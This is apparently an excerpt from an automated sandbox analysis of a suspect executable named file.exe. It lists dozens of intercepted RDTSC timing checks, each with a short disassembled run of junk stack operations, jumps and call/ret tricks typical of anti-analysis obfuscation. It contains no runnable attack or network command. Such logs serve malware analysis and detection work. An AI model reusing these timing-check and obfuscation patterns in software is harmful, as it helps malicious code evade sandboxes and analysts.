Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F15BA second address: 11F15C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2014 second address: 11F2018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2018 second address: 11F201C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1DE4 second address: 11F1DEA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F201C second address: 11F2022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1DEA second address: 11F1DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1DF0 second address: 11F1E07 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3FACCA44B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007F3FACCA44C0h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F34C1 second address: 11F34E9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3FAC81390Ch 0x00000008 jnl 00007F3FAC813906h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3FAC813915h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F61BF second address: 11F61C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7169 second address: 11F716D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F716D second address: 11F71EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3FACCA44C1h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f jg 00007F3FACCA44BCh 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F3FACCA44B8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D28D3h], ebx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F3FACCA44B8h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 jnp 00007F3FACCA44B6h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9312 second address: 11F9317 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9317 second address: 11F935E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F3FACCA44B8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D235Ch], edx 0x00000028 push esi 0x00000029 mov ebx, dword ptr [ebp+1246807Fh] 0x0000002f pop edi 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D1A4Bh], ebx 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b pushad 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F935E second address: 11F936D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3FAC813906h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC14F second address: 11FC175 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3FACCA44B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c mov di, cx 0x0000000f push 00000000h 0x00000011 xor ebx, 1EFE2AADh 0x00000017 push 00000000h 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e pop eax 0x0000001f jnp 00007F3FACCA44B6h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC175 second address: 11FC17F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3FAC813906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB3F7 second address: 11FB3FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD2CD second address: 11FD2FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC813912h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F3FAC81390Dh 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE30B second address: 11FE311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE311 second address: 11FE315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD475 second address: 11FD479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE315 second address: 11FE38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a jmp 00007F3FAC813917h 0x0000000f pop edi 0x00000010 nop 0x00000011 mov ebx, ecx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F3FAC813908h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f call 00007F3FAC813912h 0x00000034 mov bh, CAh 0x00000036 pop ebx 0x00000037 and bx, C56Ah 0x0000003c push 00000000h 0x0000003e cmc 0x0000003f or ebx, dword ptr [ebp+12474F6Bh] 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push edx 0x00000049 jl 00007F3FAC813906h 0x0000004f pop edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE38F second address: 11FE399 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3FACCA44BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD55F second address: 11FD57B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC81390Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD57B second address: 11FD580 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF466 second address: 11FF46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12003AF second address: 12003B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12003B3 second address: 1200412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F3FAC81C958h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov bx, 8D11h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007F3FAC81C958h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov edi, dword ptr [ebp+122D1CDEh] 0x0000004a push 00000000h 0x0000004c xchg eax, esi 0x0000004d push ecx 0x0000004e push edi 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201432 second address: 1201437 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201437 second address: 12014EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F3FAC81C958h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 jmp 00007F3FAC81C968h 0x00000029 push 00000000h 0x0000002b jmp 00007F3FAC81C969h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 pushad 0x00000034 mov bx, dx 0x00000037 call 00007F3FAC81C966h 0x0000003c pop eax 0x0000003d popad 0x0000003e pop edi 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 jmp 00007F3FAC81C965h 0x00000046 jmp 00007F3FAC81C969h 0x0000004b popad 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push ecx 0x00000050 push ecx 0x00000051 pop ecx 0x00000052 pop ecx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12014EA second address: 12014EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12024CE second address: 12024D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE50C second address: 11FE510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE510 second address: 11FE516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF687 second address: 11FF691 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3FACC550D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF691 second address: 11FF6A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC81C95Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE516 second address: 11FE51D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF6A7 second address: 11FF6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE51D second address: 11FE5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jc 00007F3FACC550EDh 0x0000000e jc 00007F3FACC550E7h 0x00000014 jmp 00007F3FACC550E1h 0x00000019 nop 0x0000001a jmp 00007F3FACC550E4h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F3FACC550D8h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 0000001Ah 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 xor edi, dword ptr [ebp+122D2A91h] 0x00000046 sub dword ptr [ebp+122D294Bh], ebx 0x0000004c mov dword ptr fs:[00000000h], esp 0x00000053 mov dword ptr [ebp+122D1C61h], edx 0x00000059 push ecx 0x0000005a mov di, ax 0x0000005d pop ebx 0x0000005e mov eax, dword ptr [ebp+122D1425h] 0x00000064 mov dword ptr [ebp+1246803Bh], edi 0x0000006a push FFFFFFFFh 0x0000006c mov dword ptr [ebp+122D1884h], edx 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jnc 00007F3FACC550D8h 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABF08 second address: 11ABF0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABF0C second address: 11ABF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3FACC550DFh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F3FACC550E7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12026C9 second address: 12026E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3FAC81C969h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABF3E second address: 11ABF65 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3FACC550D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jp 00007F3FACC550DAh 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 ja 00007F3FACC550DCh 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12035FD second address: 1203601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205A23 second address: 1205A29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205A29 second address: 1205A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205A2F second address: 1205A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206CCC second address: 1206CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12107C2 second address: 12107D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DBh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120FF1D second address: 120FF22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120FF22 second address: 120FF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F3FACC550D8h 0x00000011 push edi 0x00000012 jno 00007F3FACC550D6h 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121037D second address: 1210383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214D02 second address: 1214D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3FACC550D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214D11 second address: 1214D15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9C1 second address: 121A9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9C5 second address: 121A9CF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3FAC81C956h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9CF second address: 121A9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9D5 second address: 121A9E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F3FAC81C95Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9E5 second address: 121A9EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A382F second address: 11A3833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3833 second address: 11A383D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3FACC550D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A383D second address: 11A384D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3FAC81C956h 0x0000000a jp 00007F3FAC81C956h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219C40 second address: 1219C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219DCF second address: 1219DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3FAC81C956h 0x0000000a ja 00007F3FAC81C956h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219F5C second address: 1219F62 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219F62 second address: 1219F7A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3FAC81C958h 0x00000008 jg 00007F3FAC81C958h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push esi 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A1E4 second address: 121A1E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A1E8 second address: 121A20A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC81C962h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F3FAC81C956h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A385 second address: 121A395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F3FACC550D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A395 second address: 121A3A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007F3FAC81C956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A3A1 second address: 121A3C3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3FACC550DEh 0x00000008 jo 00007F3FACC550D6h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F3FACC550DBh 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A56B second address: 121A591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3FAC81C969h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jl 00007F3FAC81C956h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A591 second address: 121A59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jno 00007F3FACC550D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A882 second address: 121A886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A886 second address: 121A88A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EC9F second address: 121ECB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007F3FAC81C956h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121ECB0 second address: 121ECBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FACC550DAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121ECBF second address: 121ECFF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3FAC81C96Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F3FAC81C966h 0x0000000f push eax 0x00000010 jmp 00007F3FAC81C966h 0x00000015 pop eax 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121ECFF second address: 121ED0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F3FACC550D6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121ED0E second address: 121ED1C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F3FAC81C95Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F916 second address: 121F91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FBD1 second address: 121FBD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FEE0 second address: 121FEE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FEE6 second address: 121FEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A53AA second address: 11A53B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
